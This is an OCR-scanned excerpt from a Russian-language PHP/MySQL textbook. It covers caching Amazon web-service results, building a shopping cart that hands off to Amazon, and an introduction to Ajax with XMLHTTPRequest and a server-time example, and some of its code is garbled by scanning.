if($type == 'browse') { $ars->browseNodeSearch($parameters['browsenode'], $parameters['page'], $parameters['mode']); } if($type == 'search') { $ars->keywordSearch($parameters['search'], $parameters['page']r $parameters['mode']); } cache($type, $parameters, $ars); } return $ars; } В приложении все кэширование данных, полученных с использованием SOAP или XML, выполняется этой функцией. Еще одна функция служит для кэширования изо- бражений. Код начинается с вызова функции cached () для проверки того, помещен ли уже необходимый объект AmazonResultSet в кэш. Если да, то вместо обращения к сайту Amazon эти данные просто возвращаются: $cache-= cached($type, $parameters); if($cache) { / / если найдено в кэше return $cache; } В противном случае после получения данных с сайта Amazon они добавляются в кэш: cache($type, $parameters, $ars); Рассмотрим две функции, cached () и cache (), более подробно. Эти функции, код которых показан в листинге 33.12, реализуют кэширование, оговоренное в условиях, предъявляемых компанией Amazon. Листинг 33.12. Функции cached() и cache() из библиотеки cachefunctions.php — реализуют кэширование // Проверка наличия данных Amazon в кэше. // Если данные есть в кэше, они возвращаются, // если нет - возвращается значение false function cached($type, $parameters) { if($type == 'browse') { $f ilename = CACHE, '/browse. ' . $parameters ['browsenode' ] ' .$parameters[1 page$parameters['mode'].'.dat'; } if($type == 'search') { $filename = CACHE.'/search.'.$parameters['search'].'.' .$parameters['page$parameters['mode'].'.dat'; } if($type == 'asin') { $filename = CACHE.'/asin.'.$parameters['asin .$parameters['mode'].'.dat'; } //He отсутствуют ли кэшированные данные или //не хранятся ли они дольше 1 часа? Глава 33. Подключение к веб-службам с помощью XML и SOAP 779
if (! file^exists ($filenarne) I | ((mktime() - filemtime($filename)) > 60*60)) { return false; } $data = file_get_contents($filename); return unserialize($data); } // Добавление данных Amazon в кэш function cache($type, $parameterS, $data) { if($type ==* 'browse') { $filename = CACHE.'/browse.'.$parameters['browsenode'].'.' .$parameters['page$parameters['mode'].'.dat'; } if($type = 'search') { $filename = CACHE.'/search.'.$parameters['search'].'.' .$parameters['page$parameters['mode'].'.dat'; } if($type =- 'asin') { $filename = CACHE.'/asin.'.$parameters['asin'].'.' .$parameters['mode'].'.dat'; } . $data = serialize ($data) ; $fp = fopen($filename, 'wb'); if(!$fp || (fwrite($fp,•$data)==-l)) { echo ('<p>Error, could not store cache file'); } fclose($fp); } Из этого кода видно, что файлы кэша хранятся под именами, образованными из типа запроса и параметров запроса. Функция cache () сохраняет результаты, преобра- зуя их в последовательную форму, а функция cached () выполняет обратное преобра- зование. Кроме того, в соответствии с предъявляемыми условиями, функция cached () будет также перезаписывать любые данные, хранящиеся в кэше дольше 1 часа. Функция serialize () преобразует хранимые данные программы в строку, кото- рая может быть сохранена. В данном случае мы создаем доступное для сохранения на диске представление объекта AmazonResultSet. Функция unserialize () выполня- ет обратное действие, преобразуя сохраненную версию обратно в структуру данных в памяти. Обратите внимание, что подобное преобразование объекта из последова- тельной формы означает необходимость наличия в файле определения класса, чтобы сразу после перезагрузки класс был доступен для обработки и использования. В этом приложении извлечение результирующего набора из кэша занимает доли секунды, в то время как выполнение нового реального запроса требует до 10 секунд. Построение покупательской тележки Итак, что же можно делать с помощью всех этих замечательных возможностей по выдаче запросов к Amazon? Наиболее очевидной возможностью будет построение по- 780 Часть V. Реальные проекты на РНР и MySQL
купательской тележки. Поскольку эта тема подробно рассматривалась в главе 28, глубо- ко вникать в принципы функционирования покупательской тележки мы уже не будем. Код функций покупательской тележки показан в листинге 33.13. Листинг 33.13. cartfunctions.php — реализация покупательской тележки <?php require_once('AmazonResultSet.php’); // Функция showSummary(), определенная в файле bookdisplay.php, // отображает текущее содержимое покупательской тележки function showCart($cart, $mode) { // Построение массива, который нужно передать $products = array(); foreach($cart as $ASIN=>$product) { $ars = getARS('asin', array('asin'=>$ASIN, ’mode'=>$mode)); if($ars) { $products[] = $ars->getProduct(0); } } // Построение формы для подключения к // покупательской тележке сайта 2kmazon.com echo "<form method=\’’POST\" action=\"http://www.amazon.com/gp/aws/cart/add.html\">"; foreach($cart as $ASIN=>$product) { $quantity = $cart[$ASIN][’quantity’]; echo "<input type=\’’hidden\" name=\"ASIN. ’’. $ASIN. "\” value=\ $ AS IN." \ ; echo J'<input type=\’’hidden\" name=\"Quantity. ’’. $ASIN. "\" value=\"".$quantity. } echo "<input type=\"hidden\" name=\’’SubscriptionId\" value=\'”' .DEVTAG. "\"> <input type=\’’hidden\" name=\"AssociateTag\" value=\’’’’. ASSOCIATEID. ’’\’’> <input type=\"image\" src=\’’images/checkout.gif\" name=\"submit.add-to-cart\" value=\’’Buy From Amazon. com\’’> When you have finished shopping press checkout to add all the items in your Tahuayo cart to your Amazon cart and complete your purchase. </form> <br/xa href=\"index.php?action=emptycart\’’><img src=\’’images/emptycart.gif\" alt=\"Empty Cart\" border=\"0\"x/a> If you have finished with this cart, you can empty it of all items. </form> <br /> <hl>Cart Contents</hl>"; showSummary($products, 1, count($products), $mode, 0, true); } // Вывод краткого содержимого тележки, которое всегда присутствует на экране. //В нем отображаются только последние три элемента из числа добавленных Глава 33. Подключение к веб-службам с помощью XML и SOAP 781
function showSmallCart() { global $_SESSION; echo "ctable border=\"l\" cellpadding=\"l\" cellspacing=\"O\"> <tr><td class=\"cartheading\">Your Cart $". number_format(cartPrice (), 2). "c/tdx/tr> ctrxtd class=\’’cart\">" . cartContents () . "</tdx/tr>"; // Форма для связи с покупательской тележкой Amazon.com echo "<form method=\"POST\" action=\"http://www.amazon.com/gp/aws/cart/add.html\"> ctrxtd class=\’’cartheading\’’Xa href=\ "index. php?action=showcart \ "ximg src=\"images/details .gif\" border=\"0\"X/a>"; foreach($_SESSION[’cart’] as $ASIN=>$product) { $quantity = $_SESSION[’cart'][$ASIN][’quantity1]; echo "cinput type=\"hidden\" name=\’’ASIN.’’. $ASIN. "\" va1ue=\"".$ASIN." V’ >"; echo "cinput type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\’”’.$quantity.; } echo "cinput type=\"hidden\" name=\’’SubscriptionId\" value=\"".DEVTAG."\"> cinput type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\"> cinput type=\"image\" src=\"images/checkout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> c/tdx/tr> c/form> c/table>"; } // Вывод трех последних элементов, добавленных в тележку function cartContents () { global $_SESSION; $display = array_slice($_SESSION[’cart'], -3, 3); // Необходим обратный хронологический порядок $display = array_reverse($display, true); $result = ’ '; $counter =0; // Сокращение названий, если они слишком длинные foreach($display as $product) { if(strlen($product[’name'])c=40) { $result .= $product [’name ’ ] . "cbr />’’; } else { $result .= substr($product['name’], 0, 37).’’... cbr />’’; } $counter++; } // Добавление пустых строк, если тележка почти пуста, чтобы / / размер области отображения оставался неизменным for(;$counterc3; $counter++) { $result .= "cbr />’’; } return $result; 782 Часть V. Реальные проекты на РНР и MySQL
// Вычисление общей стоимости товаров, помещенных в тележку function cartPrice () { global $_SESSION; $total = 0.0; foreach($_SESSION['cart'] as $product) { $price = str_replace(' $ ', ' ', $product['price' ]) ; $total += $price*$product['quantity']; } return $total; } // Добавление в тележку одного элемента. //В настоящее время возможность одновременного добавления // более одного элемента отсутствует function addToCart(&$cart, $ASIN, $mode) { if (isset ($cart[$ASIN] )) { $cart[$ASIN]['quantity'] +=1; } else { // Проверка допустимости идентификатора ASIN //и выяснение стоимости данного товара $ars = new AmazonResultSet; $product = $ars->ASINSearch($ASIN, $mode); if($product->valid()) { $cart[$ASIN] = array('price'=>$product->ourPrice(), 'name' => $product->productName(), 'quantity' => 1); } } } // Удаление из тележки отдельного элемента function deleteFromCart(&$cart, $ASIN) { unset ($cart[$ASIN]); } ?> Выполнение действий с помощью этой тележки характеризуется рядом отличий. Например, рассмотрим функцию addToCart (). При попытке добавления элемента в тележку можно проверить допустимость его идентификатора ASIN и выяснить его те- кущую (или, по меньшей мере, кэшированную) стоимость. Особый интерес вызывает следующий вопрос: как пользователи передают свои данные сайту Amazon при оплате товара? Оплата на сайте Amazon Давайте внимательно рассмотрим функцию showCart (), код которой показан в листинге 33.13. Нас интересует следующий фрагмент кода: // Построение формы для подключения к // покупательской тележке сайта Amazon.com echo "<form method=\"POST\" action=\"http://www.amazon.com/gp/aws/cart/add.html\">"; foreach($cart as $ASIN=>$product) { $quantity = $cart[$ASIN]['quantity']; echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\" value=\"".$ASIN. echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">"; } Глава 33. Подключение к веб-службам с помощью XML и SOAP 783
echo "cinput type=\"hidden\" name=\"SubscriptionId\" value=\”’’. DEVTAG. \ cinput type=\"hidden\" name=\"AssociateTag\" value=\’’ ’’. ASSOCIATEID. \> cinput type=\"image\" src=\"images/checkout.gif\" name=\ ’’submit. add-to-cart\ " value=\"Buy From Amazon. com\"> When you have finished shopping press checkout to add all the items in your Tahuayo cart to your Amazon cart and complete your purchase. c/form> cbr/>ca href=\"index.php?action=emptycart\"><img src=\"images/emptycart.gif\" alt=\"Empty Cart\" border=\"0\">c/a> If you have finished with this cart, you can empty it of all items. </form> cbr /> chl>Cart Contentsc/hl>"; Кнопка оплаты Checkout — это кнопка формы, которая осуществляет подключе- ние нашей тележки к покупательской тележке клиента на сайте Amazon. Через POST- переменные мы передаем идентификаторы ASIN, количество выбранных товаров и свой идентификатор Associate ID. Дело сделано! Результат щелчка на этой кнопке по- казан на рис. 33.5 ранее в этой главе. Одна из проблем использования этого интерфейса состоит в том, что он обеспечи- вает передачу данных только в одном направлении. Вы можете добавлять элементы в покупательскую тележку сайта Amazon, но не можете их удалять. То есть пользователи не могут переходить с одного сайта на другой и обратно, не создавая при этом дубли- каты элементов в своих тележках. Инсталляция кода проекта Для инсталляции кода проекта, описанного в этой главе, потребуется выполнить ряд дополнительных действий. После того, как файлы приложения помещены в соот- ветствующий каталог на сервере, необходимо выполнить следующие вещи. Создать каталог кэша. Установить для каталога кэша разрешения, чтобы сценарии могли выполнять в него запись. Внести изменения в файл constants.php, указав местоположение кэша. Подписаться на маркер разработчика сайта Amazon. Внести изменения в файл constants .php, указав в нем свой маркер разработ- чика и, при желании, идентификатор Associate ID. Удостовериться в том, что библиотека NuSOAP установлена. Мы поместили ее внутрь каталога Tahuayo, но ее можно перемещать и изменять код. Удостовериться в том, что пакет РНР5 скомпилирован с поддержкой simpleXML. 784 Часть V. Реальные проекты на РНР и MySQL
Расширение проекта Вы можете легко расширить этот проект, увеличив количество доступных типов поиска для Tahuayo. За дополнительными идеями воспользуйтесь ссылками на инно- вационные примеры приложений в центре ресурсов для разработчиков веб-служб Amazon (Amazon Web* Services (AWS) Resource Center for Developers). Полезную инфор- мацию можно найти в разделах Articles and Tutorials (Статьи и учебные пособия) и Community Code (Код сообщества). Покупательские тележки — это наиболее очевидный способ применения данной информации, однако далеко не единственный. Дополнительные источники информации Языку XML и веб-службам посвящено множество книг и сетевых ресурсов. Прекрасной отправной точкой для поиска информации может служить сайт консор- циума W3C. Поиск информации можно начать с просмотра страницы рабочей группы по разработке XML: http://www.w3.org/XML/Core/ и страницы, посвященной использованию веб-служб: http://www.w3.org/2002/ws/ Глава 33. Подключение к веб-службам с помощью XML и SOAP 785
34 Создание приложений Web 2.0 с помощью Ajax Вначале всемирная паутина представляла собой набор статических страниц, со- держащих текст и ссылки на изображения, аудио- и видеофайлы. По большей части она и сейчас имеет такой же состав, хотя многие из этих страниц, заполненных текстом и мультимедийными включениями, динамически сгенерированы с помощью сценариев на стороне сервера — именно это мы и делали в наших приложениях в дан- ной книге. Но появление Web 2.0 заставило разработчиков искать новые методы взаи- модействия пользователей с веб-серверами и базами данных, в которых хранится нуж- ная информация. Один из таких методов набирает все большую популярность — это программирование в Ajax (Asynchronous JavaScript and XML — асинхронный JavaScript и XML), которое позволяет повысить интерактивность и одновременно уменьшить время выборки статических элементов. На заметку! Чтобы лучше понять концепцию Web 2.0, прочтите заметку Тима О’Рейли (Tim O’Reilly) по адресу http://www.oreillynet.eom/pub/a/oreilly/tim/news/2005/09/30/what-is-web-20.html. В этой главе мы дадим основы программирования на Ajax и создадим несколько простых элементов Ajax, которые вы можете интегрировать в свои приложения. Данную главу ни в коей мере не следует считать исчерпывающей, это просто серьез- ное введение для дальнейшей работы с такими технологиями. Здесь будут рассмотре- ны следующие основные темы. Сочетание языков сценариев и разметки, используемое для создания Ajax-при- ложений. Фундаментальные части Ajax-приложения, в том числе отправка запроса и ин- терпретация ответа с сервера. Способы изменения элементов приложений из предыдущих глав для получения Ajax-страниц. Где можно найти библиотеки кода и получить дополнительную информацию. 786 Часть V. Реальные проекты на РНР и MySQL
Что такое Ajax? Сам по себе Ajax — это не язык программирования и даже не единая технология. Программирование в Ajax обычно представляет собой сочетание программирования на JavaScript на стороне клиента с пересылками данных в формате XML и программи- рования на стороне сервера на языках наподобие РНР. Кроме того, для представления Ajax-элементов применяются XHTML и CSS. В результате программирования в Ajax обычно получается более аккуратный и бы- стрый пользовательский интерфейс для интерактивного приложения — вспомните Интерфейсы Facebook, Flickr и других сайтов социальных сетей, которые находятся на переднем крае Web 2.0. Эти приложения позволяют пользователям выполнять мно- жество действий без перезагрузки и перерисовки всей страницы — для этого и нужен Ajax. Программирование на стороне клиента требует небольшого объема программи- рования и на стороне сервера, но только в отдельных местах окна браузера, и только эти места затем требуют перерисовки. Все это имитирует работу отдельного приложе- ния, но в веб-среде. Распространенный пример — работа в приложении (автономной) обработки элек- тронных таблиц либо просмотр таблицы с большим объемом информации на веб-сай- те. В автономном приложении пользователь может изменить данные в одной ячейке и получить значения формул в других ячейках или сортировать данные по какому-либо столбцу — и все это без выхода из основного интерфейса. Однако щелчок на ссылке “Сортировка столбца” в статическом веб-приложении потребует отправки запроса на сервер, пересылки нового результата браузеру и перерисовки страницы, которую ви- дит пользователь. В веб-среде с применением Ajax такую таблицу можно сортировать по запросу пользователя, но без перезагрузки всей страницы. В последующих нескольких разделах мы рассмотрим различные технологии, кото- рые появляются при задействовании Ajax. Конечно, это не исчерпывающая информа- ция, но вам будут даны ссылки на дополнительные ресурсы. HTTP-запросы и ответы Протокол передачи гипертекста (Hypertext Transfer Protocol — HTTP) представля- ет собой Интернет-стандарт, определяющий способ общения веб-серверов и веб-брау- зеров между собой. Когда пользователь запрашивает какую-то веб-страницу — введя ее URL в адресной строке веб-браузера, щелкнув на ссылке, отправив заполненную форму или выполнив другое действие, которое меняет адрес текущей веб-страницы — браузер отправляет НТТР-запрос. Этот запрос отправляется веб-серверу, который в ответ возвращает один из мно- гих возможных ответов. Для получения от веб-сервера вразумительного ответа запрос должен быть правильно сформирован. Умение правильно формировать запросы и от- веты крайне важно для работы в Ajax, т.к. разработчик отвечает за составление НТТР- запросов и ожидание определенных результатов в Ajax-приложении. Посылаемые клиентом HTTP-запросы имеют следующий формат. Открывающая строка, которая содержит метод, путь к ресурсу и используемую версию HTTP, например: GET http://server/phpmysq!4e/chapter34/test. html HTTP/1.1 Кроме GET, часто встречаются также методы POST и HEAD. Глава 34. Создание приложений Web 2.0 с помощью Ajax 787
Необязательные строки заголовка вида параметр: значение, например: User-agent: Mozilla/5.О (Windows; U; Windows NT 6.0; en-US; rv:l.9.0.1) Gecko/2008070208 Firefox/3.0.1 и/или Accept: text/plain, text/html Список возможных HTTP-заголовков можно посмотреть по адресу http: / /www. w3.org/Protocols/rfc2616/. Пустая строка. Необязательное тело сообщения. После отправки HTTP-запроса клиент должен получить НТТР-ответ. Формат HTTP-ответов описан ниже. Открывающая строка, или строка состояния, которая содержит используемую версию HTTP и код ответа, например: НТТР/1.1 200 0К Первая цифра кода состояния (в данном случае 2 в числе 200) означает категорию ответа. Коды состояния, начинающиеся на 1, являются информационными, на 2 — означают удачное выполнение запроса, 3 — перенаправление, 4 — ошибку клиента (к примеру, 404 для отсутствия запрошенного элемента), а 5 — ошибку сервера (например, 500 для ошибки сценария). Список возможных HTTP-кодов состояния можно посмотреть по адресу http: / / www.w3.org/Protocols/rfc2616/. Необязательные строки заголовка в формате параметр: значение;например: Server: Apache/2.2.9 Last-Modified: Fri, 1 Aug 2008 15:34:59 GMT DHTML и XHTML Динамический HTML, или DHTML — термин, применяемый для сочетания стати- ческого HTML, каскадных стилевых таблиц (Cascading Style Sheets — CSS) и JavaScript, с помощью которых выполняется работа с объектной моделью документов (Document Object Model — DOM). При этом внешний вид вроде бы статичных веб-страниц изме- няется уже после загрузки всех элементов. На первый взгляд это довольно похоже на Ajax-сайт, и в какой-то мере это действительно так. Отличие состоит в асинхронной связи между клиентом и сервером — т.е. в букве “А” слова “Ajax”. Хотя DHTML-сайт может демонстрировать динамику в навигационных выпадаю- щих списках или в элементах формы, которые меняются в зависимости от ранее выбранных ответов, все-таки все данные для этих элементов должны быть уже вы- браны клиентом. Например, если на какой-то DHTML-странице выводится раздел 1, если пользователь наводит курсор на некоторую ссылку или кнопку, либо выводится раздел 2, если курсор находится над другой ссылкой или кнопкой, то текст и разде- ла 1, и раздела 2 уже загружен браузером. Разработчик просто использует фрагмент JavaScript, в котором устанавливается атрибут CSS, регулирующий видимость части страницы в зависимости от положения курсора мыши. На Ajax-сайте вполне может быть так, что область, зарезервированная под раздел текста 1 или 2, заполняется в 788 Часть V. Реальные проекты на РНР и MySQL
зависимости от результата вызова удаленного сценария на сервере, в то время как ос- тальная часть страницы остается статичной. Расширяемый язык разметки гипертекста (Extensible Hypertext Markup Language — XHTML) аналогичен HTML и DHTML в том смысле, что все три этих языка позволяют размечать контент для отображения на клиентском устройстве (веб-браузер, смартфон или другое мобильное устройство) и позволяют интегрировать CSS для дополнитель- ного управления представлением контента. Отличие между XHTML и HTML состоит в соответствии XHTML синтаксису XML и в способе интерпретации XHTML средства- ми XML в дополнение к стандартным средствам просмотра веб-страниц. В XHTML применяются только строчные буквы: и в элементах (например, <headx/head> вместо <HEADx/HEAD>), и в атрибутах (например, href вместо HREF). Кроме того, все значения атрибутов должны быть заключены в одиночные или двой- ные кавычки, и все элементы должны быть явно закрыты — либо завершающим де- скриптором, если это парный дескриптор, либо одиночным элементом наподобие <img /> или <br/>. Более подробную информацию о XHTML можно получить по адресу http:// WWW. w3. org/TR/XHTMLl/. Каскадные стилевые таблицы (CSS) Каскадные таблицы стилей (Cascading Style Sheets — CSS) применяются для даль- нейшего усовершенствования отображения статических, динамических и Ajax-стра- ниц. Они позволяют разработчику изменить определение дескриптора, класса или идентификатора в одном документе (таблице стилей), после чего эти изменения сразу же проявляются на всех страницах, где есть ссылки на данную стилевую таблицу. Эти определения^ или правила, записываются в специальном формате, содержащем селек- торы, объявления и значения. Селекторы — это имена HTML-дескрипторов наподобие body или hl (заголовок уровня 1). Объявления — это непосредственно свойства стилевых таблиц, например, background или font-size. Значения связываются с объявлениями, например, white или 12pt. Ниже приведен элемент стилевой таблицы, определяющий белый фон тела до- кумента и вывод всего текста документа шрифтом Verdana или sans-serif нормальной плотности, размером 12 пунктов: body { background: white [или #fff или font-family: Verdana, 'sans-serif; font-size: 12pt; font-weight: normal; } Эти значения будут применяться ко всей странице, за исключением тех элементов, для которых в стилевой таблице определены собственные стили. Например, текст элемента hl будет выведен так, как он определен — возможно, с размером шрифта больше 12 пунктов и со значением font-weight, равным bold. Кроме селекторов, в стилевой таблице можно определять собственные классы и идентификаторы. Использование классов (которые можно применять для нескольких элементов на странице) или идентификаторов (которые можно применить на страни- Глава 34. Создание приложений Web 2.0 с помощью Ajax 789
це лишь один раз) позволяет еще более улучшить внешний вид и функциональность элементов, выводимых на страницах веб-сайта. Это улучшение особенно важно в Ajax- сайтах, т.к. там используются предопределенные области документов для вывода но- вой информации, получаемой в результате работы удаленных сценариев. Классы определяются аналогично селекторам: фигурные скобки, а в них определе- ния, разделяемые точками с запятыми. Вот, к примеру, определение класса с именем ajaxarea: .ajaxarea { width: 400рх; height: 400рх; background: #fff; border: Ipx solid #000; } Если этот класс применить к контейнеру div, то получится квадрат размером 400x400 пикселей с белым фоном и тонкой белой рамкой. Применяется он так: <div class=’’ajaxarea">KaKOH-TO TexcT</div> Чаще всего стилевые таблицы помещаются в отдельный файл, содержащий все оп- ределения стилей, после чего ссылка на этот файл помещается в элемент head HTML- документа: <head> <link rel="stylesheet" href="the_style_sheet.css" type="text/CSS"> </head> Более подробную информацию no CSS можно прочитать по адресу http: / / www.w3.org/TR/CSS2/. Программирование на стороне клиента Программа на стороне клиента выполняется в веб-браузере, когда страница пол- ностью загружена с веб-сервера. Все необходимые функции содержатся в данных, по- лученных с веб-сервера, и готовы к выполнению. Обычно на стороне клиента выпол- няются такие действия, как изменение видимости разделов текста или изображений, изменение цвета, размера или расположения текста или изображений, проведение расчетов и проверка введенных в форму данных, прежде чем послать их на обработку серверу. Наиболее распространенный язык программирования на стороне клиента — JavaScript — соответствует букве “J” в слове “Ajax”. Довольно часто применяется и VBScript, хотя он специфичен для Microsoft и поэтому не очень годится для открытой среды, в которой могут применяться всевозможные операционные системы и веб- браузеры. Программирование на стороне сервера К программированию на стороне сервера относятся все сценарии, которые на- ходятся на веб-сервере и интерпретируются или компилируются до отправки ответа клиенту. Обычно в таких сценариях находятся подключения к базам данных на сторо- не сервера, запросы к базам данных и ответы от них. Такие сценарии можно написать на любом языке программирования на стороне сервера: Perl, JSP, ASP или РНР — по понятным причинам примеры в этой главе будут 790 Часть V. Реальные проекты на РНР и MySQL
написаны на последнем из них. Поскольку выходные данные сценария, выполняюще- гося на стороне сервера, представляют собой один из вариантов разметки с помощью стандартного HTML, среда конечного пользователя практически не влияет на них. XML и XLST Вы уже познакомились с XML в главе 33, где была предоставлена основная ин- формация по формату, структуре и применению XML. В контексте Ajax-приложений XML — буква “X” в слове “Ajax” — используется для обмена данными; a XLST предназна- чен для манипулирования данными. Сами данные либо передаются через созданное Ajax-приложение, либо выбираются из него. Более подробная информация об XML содержится по адресу http: / / www. w3. org/XML/, а об XSLT — по адресу http: //www.w3. org/TR/xslt20/. Основы Ajax Мы уже ознакомились с частями, составляющими Ajax-приложение, и в данном разделе мы соберем их вместе, чтобы получить работающий пример этой технологии. Постоянно помните об основной причине использования Ajax: создание интерактив- ных сайтов, которые реагируют на действия пользователя, но без задержек, связан- ных с обновлением всей страницы. Для достижения этой цели в Ajax-приложениях имеется дополнительный слой об- работки, который находится между запрошенной веб-страницей и веб-сервером, от- ветственным за выдачу этой страницы. Этот слой обычно называется каркасом Ajax (Ajax Framework), либо механизмом Ajax (Ajax Engine). Данная среда предназначена для обработки запросов между пользователем и веб-сервером, и эта обработка выпол- няется без дополнительных действий наподобие перерисовки страницы или преры- вания выполняемого пользователем действия (прокрутка, щелчок мышью или чтение блока текста). В последующих нескольких разделах вы узнаете, как взаимодействуют различные части Ajax-приложения для получения современной среды работы пользователя. Объект XMLHTTPRequest Выше в данной главе уже было сказано об HTTP-запросах и ответах, а также об ис- пользовании программирования на стороне клиента в Ajax-приложении. Для подклю- чения к веб-серверу и выполнения запроса без полной перезагрузки исходной страни- цы необходим особый объект JavaScript под именем XMLHTTPRequest. На заметку! По соображениям безопасности объект XMLHTTPRequest может вызывать URL-адреса только из того же домена; он не может напрямую связаться с удаленным сервером. Объект XMLHTTPRequest часто называют основой любого Ajax-приложения, по- скольку он служит шлюзом между клиентским запросом и ответом сервера. Ниже мы научимся создавать и использовать экземпляры объекта XMLHTTPRequest в неслож- ных случаях, а за полной информацией обратитесь по адресу http: //www.w3 .org/ TR/XMLHttpReque st/. У объекта XMLHTTPRequest имеется ряд атрибутов, перечисленных в табл. 34.1. Глава 34. Создание приложений Web 2.0 с помощью Ajax 791
Таблица 34.1. Атрибуты объекта XMLHTTPRequest Атрибут Описание onreadys tatechange Задает функцию, которая должна вызываться при изменении свойства readyState. readyState Состояние запроса, описываемое целым числом: 0 (не инициализирован), 1 (загружается), 2 (загружен), 3 (взаимодействие) и 4 (завершен). responseText Содержит данные, возвращенные в виде символьной строки. responseXML Содержит данные, возвращенные в виде объекта документа в формате XML. status HTTP-код состояния, возвращенный сервером — например, 200. statusText HTTP-фраза состояния, возвращенная сервером — например, ОК. У объекта XMLHTTPRequest имеется ряд методов, перечисленных в табл. 34.2. Таблица 34.2. Атрибуты объекта XMLHTTPRequest > Метод Описание abort() Останавливает запрос. getAHResponseHeaders () Возвращает строку со всеми заголовками ответа. getResponseHeader(header) Возвращает строку, содержащую заголовок header. open (1 method1 , 'URL1, ’a’) Задает HTTP-метод method (например, post или get), целе- вой адрес URL и должен ли запрос выполняться асинхронно (при а = true) или нет (при а = false). send(content) Посылает POST-запрос с необязательным содержимым content. setRequestHeader(’x’, ’y’) Задает пару параметр (х) и значение (у) и посылает их в ка- честве заголовка запроса. Чтобы пользоваться объектом XMLHTTPRequest, необходимо создать его экземп- ляр. Для этого мало просто записать строку var request = new XMLHTTPRequest();' Такой оператор JavaScript вполне работоспособен в браузерах, отличных от Internet Explorer, но хотелось бы, чтобы он мог работать везде. А для этого нужен более объемный вариант создания нового экземпляра XMLHTTPRequest: function getXMLHTTPRequest() { var req = false; try { ; /* для Firefox */ req = new XMLHttpRequest(); } catch (err) { try { /* для некоторых версий IE */ req = new ActiveXObject("MsXML2.XMLHTTP”); } catch (err) { try { /* для других версий IE */ req = new ActiveXObject("Microsoft.XMLHTTP"); } catch (err) { 792 Часть V. Реальные проекты на РНР и MySQL
req = false; } } } return req; } Если поместить этот фрагмент JavaScript в файл с именем a jax_f unctions. js и сохранить его на веб?сервере, это будет началом библиотеки Ajax-функций. Если потребуется создать экземпляр XMLHTTPRequest в Ajax-приложении, то нужно включить этот файл, содержащий данную функцию: <script src=”ajax_functions.js" type-"text/JavaScript"x/script> а затем вызвать новый объект и выполнять необходимые действия: <script type="text/JavaScript"> var myReq = getXMLHTTPRequest(); </script> В следующем разделе вы добавите в свой файл Ajax-функций еще один кусочек мозаики. Коммуникации с сервером В примере, приведенном в предыдущем разделе, был создан новый объект XMLHTTPRequest, но он никак не был задействован. В следующем примере мы созда- дим JavaScript-функцию, которая посылает запрос на сервер, а именно, в РНР-сцена- рий с именем serve г time .php: function,getServerTime() { var thePage = ’servertime.php’; myRand = parselnt(Math.random()*999999999999999); var theURL = thePage + ”?rand=" + myRand; myReq.open("GET", theURL, true); myReq.onreadystatechange = theHTTPResponse; myReq.send(null); } Первая строка этой функции создает переменную thePage со значением serve г time .php. Это имя PHP-сценария, который находится на сервере. Следующая строка выглядит вроде бы не к месту, т.к. в ней создается случайное чис- ло. А, казалось бы, зачем нужно случайное число при получении серверного времени? Вообще-то оно действительно не влияет на выполнения сценария. Это число создается, а затем присоединяется к URL в третьей строке функции затем, чтобы избежать про- блем с кэшированием запроса в браузере (или прокси-сервере). Если URL имеет вид http: //yourserver/yourscript .php, то результат может быть кэширован. Но URL вида http: / /yourserver/yourscript. php ? г ап 3=случ_знач кэшировать бесполезно, т.к. они каждый раз разные, хотя функциональность самого сценария не изменяется. В последних трех строках функции вызываются три метода (open, onreadystatechange и send) экземпляра объекта XMLHTTPRequest, созданного с по- мощью вызова getXMLHTTPRequest (), как показано в предыдущем разделе. В метод open передаются параметры: тип запроса (GET), URL-адрес (theURL) и значение true, означающее, что запрос должен обрабатываться асинхронно. В строке с методом onreadystatechange указывается функция theHTTPResponse, которая должна вызываться при изменении состояния объекта. Глава 34. Создание приложений Web 2.0 с помощью Ajax 793
При вызове метода send сценарию на стороне сервера пересылается пустой (NULL) контент. Теперь создайте файл с именем serve г time, php, содержащий код, который приведен в листинге 34.1. Листинг 34.1. Содержимое сценария server time, php <?php header (’ Content-Type: text/XML’) ; echo "<?XML version=\"1.0\" ?>’’ . "<clock>" . "<timestring>BpeM4: ”.date(’H:i:s’)дата: ’’.date('M d, Y’).’’.</ timestring>” . "</clock>"; ?> Данный сценарий с помощью PHP-функции date () получает текущее время на сер- вере и возвращает это значение в строке в формате XML. Вообще-то функция date () вызывается дважды: один раз как date (’ Н: i: s ’) для получения часов, минут и секунд текущего серверного времени (в 24-часовом формате), и еще раз как date (’М d, Y ’) — для получения месяца, дня и года. Результирующая строка имеет следующий вид (элементы в квадратных скобках за- меняются реальными значениями): <?XML version=’’l. О" ?> <clock> <timestring> Текущее время: [time], дата: [date]. </timestring> </clock> В следующем разделе вы создадите недостающую функцию theHTTPResponse () и выполните кое-какую обработку ответа от PHP-сценария на сервере. Работа с ответом сервера Функция getServerTime () из предыдущего раздела готова к вызову theHTTPResponse () и обработке возвращаемой строки. Следующий пример интерпретирует ответ и вы- водит строку конечному пользователю: function theHTTPResponse() { if (myReq.readyState == 4) { if (myReq.status == 200) { var timestring = myReq.responseXML.getElementsByTagName (’’timestring’’) [0] ; document.getElementByld(’showtime’).innerHTML = timestring.childNodes[0].nodevalue; } } else { document.getElementByld(’showtime’).innerHTML = ’<img src=’’aj ax-loader .gif ’’/>’ ; } } Внешний оператор if...else проверяет состояние запр’оса. Если он нахо- дится в состоянии, отличном от 4 (завершен), то выводится анимация (cimg src= "ajax-loader.gif’’/>). Но если атрибут readystate в myReq равен 4, то выполняет- ся очередная проверка: что код состояния, возвращенный сервером, равен 200 (ОК). 794 Часть V. Реальные проекты на РНР и MySQL
